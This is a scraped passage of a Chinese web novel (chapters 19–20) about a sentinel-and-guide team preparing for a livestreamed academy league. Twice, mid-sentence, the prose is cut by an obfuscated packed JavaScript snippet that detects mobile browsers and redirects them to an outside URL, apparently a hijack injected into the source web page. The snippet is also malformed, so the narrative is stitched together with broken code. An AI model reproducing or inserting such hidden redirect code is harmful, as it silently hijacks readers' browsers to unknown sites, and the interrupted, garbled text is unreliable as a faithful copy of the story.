红发哨兵双眼看着易谌,突然站起来,走到他面前的时候,神色懒怠,一手插在裤兜里,一手朝他伸出,似乎是在示好:“你好,我叫奚元。既然我们联赛会在一个队里,那以后相处的时间应该还会很多。希望我们能,相,处,愉,快。” 稍微俯下身子的哨兵有着一双很锐利的眼睛,一头红发张扬桀骜,当他稍微眯眸时,被直勾勾注视着的人会产生一种被未经驯化的野兽盯上的强烈不安感。 易谌单手滑到身侧的沙发撑住,掀眸冷冷注视着他,没有伸手去握上这个似乎代表‘友善’的手。阴冷的、潮湿的,在愈发尖锐紧张的空间中潜伏渗透。 环在苍白腕骨上的衔尾蛇悄然睁开了眼睛,蛇头抬起,吐出猩红的蛇信子,蛇瞳眯着一条竖缝,和主人一同盯着对面的哨兵。 连黎珞言这样迟钝的人都罕见地察觉出一丝气氛的不对劲,他快速地小幅度晃了晃头,就像松鼠突然抖一下蓬松大尾巴似的。 双手捧住玻璃杯,有点茫然看着他们两个人,谨慎地喝下一口冰冰凉的果汁。 他怎么感觉下一秒要打起来了? 黎珞言转过头去找尹惟,试图找到和自己相同想法的人。 尹惟开了包薯片,也是十分谨慎地看着面前的状况,眼睛一眨不眨地看着那处,似乎是随时做好了拉架的准备,嘴里咬薯片咬得咔擦咔擦。 她看得太专注了,黎珞言挪到她身边,拍了拍她,她才回过神。和黎珞言对视了一下,她下意识伸出手里的薯片。 黎珞言也下意识拿了一片放嘴里,咬碎之后才想起自己来干嘛的,小酌几口果汁,用气声说:“奚元最近气性好大,他是不是遇到烦心事了?” 尹惟不用想就知道答案,她十分肯定地点点头:“确实是惨。” 黎珞言似乎懂了,也跟着点点头,好奇地问她:“有多惨?” “让我想想啊,”尹惟又拿了一片放到嘴里,边嚼边思考,“惨到每天都睡不着吧,你看他那黑眼圈,好吓人了。” 黎珞言和他一间宿舍,也想起来最近一段时间每天被闹钟吵醒都一脸怨气起床的奚元,深有感悟:“是哦。” 这包间就这么大,两个人用气声蛐蛐的话一字不漏地传到了在场每个人的耳朵里。 奚元差点绷不住了:“……” 特别是当他看见易谌听完那边两个人对话之后也像是懂了一样,若有所思地点点头,他就更加绷不住了。 他还维持着伸手的动作,唇角笑容一点一点冷却,眸里的情绪也越发锋锐了,手指微蜷,准备下一秒就攥住对方的领子把人拎起来。 然而,还没等他动,就有一只手握住了他的。 黎珞言歪着头撞进他的视线里,唇角漾起暖洋洋的笑容。 黎珞言握住他的手上下摇晃了下,弯着眸子:“我叫黎珞言,相处愉快啊。” 他握了下之后就松开了手,看着脸色还是不太好的奚元,伸手捏了捏他的肩,让他放松一点。 黎珞言嗓音浸着笑意:“我们小队的人终于集合完整了。” 他伸出手放到了中间,朝着另外三个人眨眨眼睛。 尹惟会意地将手搭在他手上。 奚元还是一副不高兴的神情,别扭地把手搭在了最上面。 然后黎珞言看看没动静的易谌,凑近去看他的眼睛,从喉咙里发出一声期待的“嗯?” 易谌被拉近的距离恍了下神,往后退了一点,犹豫片刻把手挪到了最底下。 “好欸!” 或情愿,或不情愿,四个人的手同时往上抬起。 19.第 19 章 “联赛为阶段性比赛,具体内容会在对应的时间解锁,请注意关注官网信息……嗯?这什么啊?规则搞了个半成品就搬出来了吗?” 尹惟看着屏幕一字一句读出来,停顿几秒之后顿觉荒谬。 黎珞言也凑在屏幕面前看,嘴里咬着根抹茶味的pocky,神情认真,闻言点点头肯定她。 奚元去冰箱拿了三瓶汽水,捧着放在了桌上,轻轻扬了下头:“那有说第一阶段的规则吗?” 尹惟往下翻,把规则继续读下去。 “第一阶段赛的主题为磨合。联赛为团体合作项目,本阶段内容是为了加强队员与队员之间的联系和熟悉度。明早所有人在训练场集合,具体规则会在到时候公布。注意:比赛会全程在星网上同步直播,请注意着装,切勿影响军校生风评,切勿着奇装异服到场,着装一项已纳入评分细则中。” 听着她读规则的时候,黎珞言就咬着pocky,低着头准备拉开易拉罐的环,手指刚勾进去就被奚元抓住了。 黎珞言歪头:? 他有些茫然地看着奚元阻止他喝汽水的动作,摸不着头脑。 奚元提醒道:“刚刚晃过了,过会儿再开。” 晃动之后的汽水在拉开后会瞬间喷出来,黎珞言理解地点了下头。 奚元看了眼放在桌上的原先那一大瓶饮料,快被他们三个人喝完了,但还剩了一小半,他把里面的都倒进了杯子里,推给了黎珞言:“渴的话先喝这个。” 屋里开着空调,冷气飕飕的,黎珞言抱着个软枕,下巴懒懒地靠在抱枕上,把长条pocky咬断之后,接过杯子小口抿了下,接着皱了皱眉:“都不冰了。” 他把杯子重新又放回桌上。 “不冰了吗?”奚元摸着杯壁感觉温度偏凉,他盯着杯子看了两秒,然后故作平静地拿起来喝了一口,唇刚好抿在方才被抿过的地方,低头时红发轻轻扫过耳朵,耳垂不自觉地泛上红色。 咕咚喝了一大口,他喉结滚动,神情紧绷着移开杯子,似乎是凭借实践肯定了这一结论,语气平稳:“确实不冰了。” 尹惟起身去冰箱打开了下方的冷冻室,面无表情地拿出一盒冻好的冰块,又面无表情地回来,往杯子里倒进几块冰。 冰块一个接一个掉进饮料中,激起很漂亮的小型水花。 她语调怪模怪样的,模仿道:“确实不冰了。” 奚元耳朵刷的一下红透了,装作没听见似的,眼睛看着屏幕上官网发布的规则,齿间轻轻咬着指关节,仿佛看规则看得极其沉浸。 手不自觉地就摸到了易拉罐,食指勾进拉环里,一晃一晃地要拉不拉。 黎珞言正看着放进了冰块的饮料,手碰着杯壁,凉意从指尖泛上,很凉爽的温度。 他弯了弯眼,捧着杯子低着头安安静静地喝。 尹惟随手把冰块往冰箱里一扔,耸了耸肩,撇撇嘴说:“不冰了就加冰啊。” 奚元不自然地抿了抿唇,那种隐晦的小心思被骤然挑明了一半,让他莫名有些羞恼,耳朵更红了,手指无意识地一勾。 尹惟一回过头,看见突发情况时脚步一顿,垂眸直直望着,发自内心地:“哇!” 黎珞言先是睁大眼睛,看着从易拉罐瓶口喷涌出来的汽水,然后才慢半拍地轻声“啊”了一下。 奚元方才还在提醒黎珞言不要立马拉开易拉罐,结果还没几分钟,自己却一不小心拉开了,汽水一瞬间争先恐后地往外喷,奚元只来得及迅速往后退,同时把腿岔开,避免被汽水溅上。 然而处在风暴中心的黎珞言就惨了。他坐在沙发上,不像奚元坐在椅子上那么好移动,在发现即便是往旁边躲也不能完全躲开之后,他干脆就不闪不避了,以一己之力承担下了绝大部分汽水的攻击,勇敢保护了沙发。 剩下那一小部分从奚元的左手上往下淌,落在了原本干干净净的地上。 奚元:…… 尹惟挑了下眉:…… 黎珞言低头看着自己完全不能再穿的衣服,又抬起头看向罪魁祸首奚元,有点懵地眨眨眼睛。 他慢悠悠地叹出一口长气,像是很无可奈何了。即便这样,他也不慌不忙地把杯子里的饮料一仰头喝完了,冰块被留在了杯底。搁到桌上的时候,冰块撞击杯壁发出清凌凌的声响。 黎珞言站起身,好奇地攥住衣服下摆拧了一下,没拧出水,这次汽水基本上都被衣服吸收了,所以衣服看起来惨兮兮的。 奚元和他对视,又移开视线,又不自觉地瞟向他,又迅速移开视线,心虚得不行。 这是在尹祁青的那套不算大的别墅里。当初尹祁青进入联邦军校之后购置的,他当时的理由是联邦军校假期不多,周末就不回去了,这里环境很好,很适合放松心情。 尹惟隔着层门听见了尹祁青和父母的对话,当即就跑回房间收拾好了行李,拖着个行李箱跑到了门口蹲着,厚着脸皮装听不懂话跟着尹祁青来了新房子。 第二天,尹惟去了学校,上课时间和黎珞言狗狗祟祟嘀咕交流了大半天,晚上黎珞言就背着个背包出现在了别墅门口,敲响了门。 那天晚上还下着雨,风把雨吹得四散,伞不能完全挡住雨,黎珞言身上被雨淋湿了不少,黑发微湿,被他往后抓了抓,五官清晰地露了出来。 尹祁青打开门的时候,黑发哨兵像被雨淋湿的小动物,绿眸像蒙了一层似有若无的薄雾,专注地望着他,嗓音轻轻地拖长:“哥,可以收留我吗?”。 然后眼睫轻轻颤了一下,他穿得薄薄的,外套被雨浸湿了黏在身上,霜寒露重的夜晚还淋雨受了凉,他控制不住地侧过头打了个喷嚏。再转回头看向尹祁青时,鼻头有点红。 尹祁青没犹豫,把外套脱下来盖到了他的头上。带着温热体温的外套罩着黎珞言,驱散了夜晚的寒意,他晃着脑袋从外套里探出脸来,被尹祁青抓着再次用外套罩了起来,拉进了门内。大门被合上,雨声骤然被隔绝在外。 尹祁青一边帮他擦头发,一边说:“下次有类似的事,直接让我来接你就行。” 尹惟坐在沙发上看电视,侧头看过去,和黎珞言视线相撞。她弯起唇,眨了下右眼。黎珞言歪过头在尹祁青看不见的地方,也朝尹惟眨了下右眼。 奚元是后来住进来的,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594222|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震惊的发现他们俩居然在这里都有个房间,一时间感觉自己被孤立了,心里忿忿不平,强行在剩余的房间里选了一间,自己搬了进去。 …… 黎珞言起身去了他自己的房间,身上被汽水弄得黏糊糊的,特别不舒服,他要去找身衣服重新换上,进去前还不忘叮嘱奚元把地面打扫干净。奚元自知做了错事,一一应下。 * 等待了很久的联赛终于开始了,队伍名单在前一天全部报齐,所有人都按着要求在训练场上集合。 参加联赛的队伍并不少,迎着大太阳在训练场上站着。 底下不少学生被晒得脸色不太好,眼睛都不太能睁开,尤其是来自白塔的人。 一般来说,向导的集体活动或者讲话都在室内展开,很少有这种听个讲话还要晒太阳的情况。还有几个身体不大好的,唇色都有些发白了。 台上的老师扫了眼下面的人,厉声道:“都站好了!” 下面瞬间噤声,一个个都尽了最大努力站得端正起来,这下看起来队伍至少有个正式的样子了。 “哨兵和向导多数集中在联邦军校与白塔当中,普通民众对哨兵向导的了解仅仅只有少部分信息,对于污染区的情况也不甚了解,基于以上情况,赛事负责组经讨论决定,本次赛事全程以直播的形式同步到星网上。” 老师笑起来,“我很期待你们的表现。” “第一阶段赛:磨合。我知道你们当中的有些队伍是为了联赛才集合在一起的,彼此之间完全不了解,这一阶段是为了增加你们之间互相了解的程度,加强信任和感情。我真切地祝福你们,能够在比赛中成为很好的朋友。” 易谌垂下眸,第一阶段的规则很温和,听起来只是作为一个引子,真正的重头戏大概落在了后面的阶段赛。 说到这里,老师稍微顿了一下,“本次联赛,每个队伍初始人数为4人,比赛过程中队伍人数不能超过7个人……听见这句话,你们应该也猜到了,比赛过程中每人拥有两次转化阵营的机会,也就是说,你的队友并不一定一直是你的队友。” 场下忍不住发出惊讶的呼声,窃窃私语起来。 “这不是团队赛吗?” “第一阶段不是培养默契和信任吗?我去!我和我队友这才第一次见面,这个转化阵营的规则一出,还建立默契呢,这怎么默契?!” “好了,这下不光要提防对手了,还要提防队友。” 一个长相俊朗,气质轻佻随性的单眼皮青年举手大声提问,声音掷地有声:“老师!如果我的队友暗自转化了阵营,我能知道吗?” 他问出了绝大多数人心里想的,几乎所有人都盯着台上的老师,等着他回答。 “当然——不会。”老师笑眯眯地回答,意料之中地看见场下的哀声连绵,怨载一片,然后笑容忍不住更大了。 他清了清嗓,继续道:“每个队伍会得到一个计分器,计分器会记录你们的分数,并实时反馈各队伍排名情况。比赛没到最后,谁也不知道最终结果,所以,阶段性排名仅供参考。” 小型追踪式摄像头就位,直播开始。 20.第 20 章 直播开始。星网直播软件上先是显出一片蔚蓝天空,一个俯视的大视角。刺眼的阳光铺洒在操场上,屏幕前的观众似乎都能透过这个画面闻到操场的胶皮味,以及阳光扬起灰尘的闷热气息。 台下是一个个微微低着的脑袋,站得整整齐齐的,微型摄像头飞近之后就会发现一个个脸被太阳晒得有些发烫。 【请一定要支持黎队好吗?好的!】 【镜头在乱飞什么??请把镜头对准我男神的脸啊!能不能有点水平】 【首席首席!就这样冷静稳重地赢完整场比赛好吗】 【我靠靠靠,看天一大佬胜券在握的模样,这次对冠军一定是势在必得了!】 【??天一缠的那个绷带都快把脸挡完了,脸都没露看得出个鬼的胜券在握啊】 【前面的别吹了,我只说一句,尹祁青目前参加比赛从无败绩哈】 【天看起来好热啊,感谢联赛,感谢命运的馈赠,让我无端放了天假】 【就算在宿舍里也不要忘记拿起终端给3515届哨兵之光加油好吗?】 直播间里涌进来的第一批观众便是一直守着开播的联邦军校生和白塔向导,刚进来就开始疯狂刷屏发弹幕,像水军似的,被人工智能检测到之后封了几个ID之后,这群人总算老实了不少。 总算有真正第一次关注联赛的联邦普通民众点了进来,看着晃得人眼睛疼的画面,皱了皱眉,发出缓缓飘过屏幕的弹幕。 【哨兵向导咋长得都这么高啊?】 【难道说我每天吃营养液,他们每天吃生长素吗?】 黎珞言被太阳晒得眼皮轻轻耷拉下来,他盯着脚尖,台上的老师还在嘚啵嘚啵说话。 他发着呆,视线又开始往旁边瞥,四处乱看,突然扫到一个穿着一身黑的人。那人左手插兜,站姿懒散,右手小臂以及半个手掌都缠着白色绷带,连脸上都缠着绷带,可以说只露出了一双眼睛,露肤度约等于0。 不热吗? 黎珞言热得都想要吐舌头散气了,但这人穿着一身巨吸热的黑、还裹得这么严实,却气定神闲的。 那个绷带怪人是个哨兵,五感较常人更加敏锐,他察觉到了似乎有道视线一直在看着,但却没有恶意。他侧过头来,寻找那道视线的主人。 ——是个黑发绿眸的少年,长相很俊,脸上没什么表情,看人时就直勾勾看着,也不避讳一点,见他转过头来看到自己了,便像什么也没做似的,极其平静地收回了视线,丝毫不心虚,继续垂眸盯着自己的脚尖看。 绷带怪人若有所思,眉头轻轻挑了一下。 黎珞言盯着地面看了会儿,注意到那人收回视线之后,他缓缓呼出口气。 ……啊,好尴尬,偷看别人被抓了个正着。 但上面还在讲话,他又开始昏昏欲睡了,为了阻止自己在直播下站着睡着,他不得不视线到处乱飘,看看有没有什么很新鲜有趣的事情。 嗯,是不得不! 接着他就瞟到了同样气定神闲的易谌。 易谌站得端正,他很像一棵笔直坚韧的树,无论在什么情况下都保持着这样的状态。 但他不光是没有被晒得心情烦躁,甚至脸上也一点汗都没有,神色平静又淡然,始终看着台上,似乎是在认真倾听。 黎珞言就这样一直盯着他的脸看。他在认真地思考,易谌为什么不热,怎么不流汗,嗯……不对,易谌的耳朵是有点红的,这应该是被晒的吧。那怎么只有耳朵被晒红了? 被他紧盯着看了好一会儿,易谌终于装不下去镇定了,他侧过头,压低嗓音,有些不自然地说:“你别看我了。” 黎珞言抿了抿唇,慢吞吞“哦”了一声,然后转回头看向台上,作出一副认真听讲话的模样,嘴上却在悄悄问他:“为什么啊?” 易谌闻言:? 他感觉自己听了个莫名其妙的问题,一时间竟然不知道怎么回答,于是反问回去:“你看我干嘛?” 黎珞言呼出口气都是热的,他微微张开嘴,舌尖轻轻抵住了牙,眼睛被晒得眯起了点,小声说:“我好热啊。你怎么不热?” 易谌这下转过头正正看向了他。 哨兵额间凝着汗珠,黑发被浸湿了点,抿着唇表情有些冷,看上去还有些不好接近,像是人狠话不多的那种类型。他本来有着一双很容易让人放下戒备的漂亮眼睛,但现在眯起了眼,眼皮挡住了瞳孔,就大大削减了那份柔和的气质。 易谌低声说:“伸手。” 黎珞言有些发愣,听话地抬起手,缓慢地朝他靠近。 他们俩是并肩站着的,这种小动作不容易被人看见。 易谌抓住了他的手,在相触碰的那瞬间,他向来没什么波澜的表情罕见地动了一下,眼睫颤得厉害,垂下的眼皮完全挡住了眸里的神情。 他五指僵硬,像被冻住了似的,非常轻地抓握住了对方的手,似乎只是虚握着,但手指在颤动时又会不自觉地碰到另一个人手背滚烫的温度。 黎珞言讶异地低头看着他们轻轻相握的手,歪了下头。 比“易谌怎么摸他手啊”这个想法来的更快的是“好凉快”。 黎珞言眼睛都亮起来了,冰凉的温度从手背传给手臂、再传到其他的地方,他感觉自己整个人都舒服了。易谌的手冰冰凉的,简直比雪糕的降温效果还要好。 他想着易谌都主动碰自己了,是不是能够接受触碰了,于是试探性地收拢了五指。 原本手还不自然颤动的易谌整个人立马一动不动了,就像僵硬了一样。 黎珞言见他不动了,便自觉他没有出现特别抵触的反应。于是立刻放下了心,手掌反过来和对方掌心相贴,完全握住了对方的手。 黎珞言弯了弯眼睛,直白地表达自己的想法:“你冷冷的,摸起来好舒服。” 易谌耳朵被晒得更热了,他抿了抿唇,似乎是想说什么,但嘴唇动了动又闭上了。手腕的衔尾蛇吐出舌头,拖着尾巴,顺着他们相握的双手缓缓爬过,黎珞言的视线就跟着蛇移动,看着那条小蛇爬到自己手腕上调整了下姿势。 蛇信子轻轻舔舐过近在咫尺的皮肉,青紫色的血管在一层白皙皮肤下清晰可见,它吐着舌头一遍遍舔过那里,张开嘴时隐隐约约露出尖锐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604634|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙齿,让人忍不住去想是不是含着什么致命的毒素。 寒冷冰凉的气息蔓延开来,又带着能让人头皮发麻的感觉。 黎珞言伸出另一只手点了点它的脑袋,蛇便顺着力度仰起了头,追逐着去舔他的手指,细长的舌头滑腻地扫过指腹,缠上他的手指。他弯了眼睛,慢慢悠悠地摸它,摸得蛇舒服极了。 他还想再摸,易谌却立马抓住了黎珞言的手,别过头,一个字一个字往外面吐:“那是我的精神体。你……你别摸了。” 黎珞言眨眨眼。摸别人精神体好像是不大好……但是他们订婚了。嗯……但是摸别人精神体不太好……可是真的很凉快…… 他犹豫地想了一会儿,最后还是很听话地收回了手。 蛇懒懒散散地在他手腕上盘了起来,像个黑色手环一样圈在他的手腕上。 易谌松开了他的手,但凉意仍然在持续传递给黎珞言。小蛇像个小冰块似的,盘在他手腕上,自动就起到了给他降温的效用。 “我是要,给你这个,”易谌喉结滚动了下,依旧看着台上,像是非常平静,但语气中又不自觉地显出几分不平静出来,为自己正名,“不是故意和你牵手。” 黎珞言:“哦——” 易谌看着台上,沉默了好一会儿,突然又转过头来淡淡补充一句:“真的是这样。” 黎珞言不知道他为什么突然又强调一遍,但还是理解地点点头,真诚回道:“嗯嗯,我相信的。” 易谌停顿片刻,故作平淡地也点了点头,语调如常:“那就好。” 摄像头飞来飞去,主要是在拍摄全景。人多的情况下,全景便能直观地让屏幕前的观众感到震撼。 但还是有人观察到了台下有些人的小动作。 【不是,怎么有人在下面悄悄牵手啊??】 【什么?!可恶!联赛不是给人谈情说爱的地方(ps:不是酸了!】 【截屏出来发论坛里!我将严厉谴责这种行为!!联赛没有爱情!!】 【哦——是黎队啊。那没事了(挠头)】 【前面的人别以为我不知道两条都是你发的,啧啧,《嘴脸》】 【都热成那样了,牵个手怎么了!怎么这也有人管!】 仿佛过了一个世纪,台上人终于讲完话了。 每个人都按着要求站在密闭房屋建设外面排好了队。 黎珞言领取了自己的腕表以及小组的计分器。 计分器是每小组一个,每个计分器形态不完全一样。每组在一开始选定形态,可以用来看每个组的实时排名。 其他功能未知。 腕表是每人一个,台上老师在讲规则的时候说过,腕表可以查看自己所在队伍,另一个功能即是在腕表主人濒死或主动选择出局时,将腕表主人直接传送到医疗舱,但这也意味着他这一局放弃了比赛资格。 其他功能未知。 黎珞言选定的计分器是一个小型徽章,他揣到了外套口袋里。 他沿着通道走去,走到一个房间门口处停住,敲响了门。 里面传来声音:“请进。”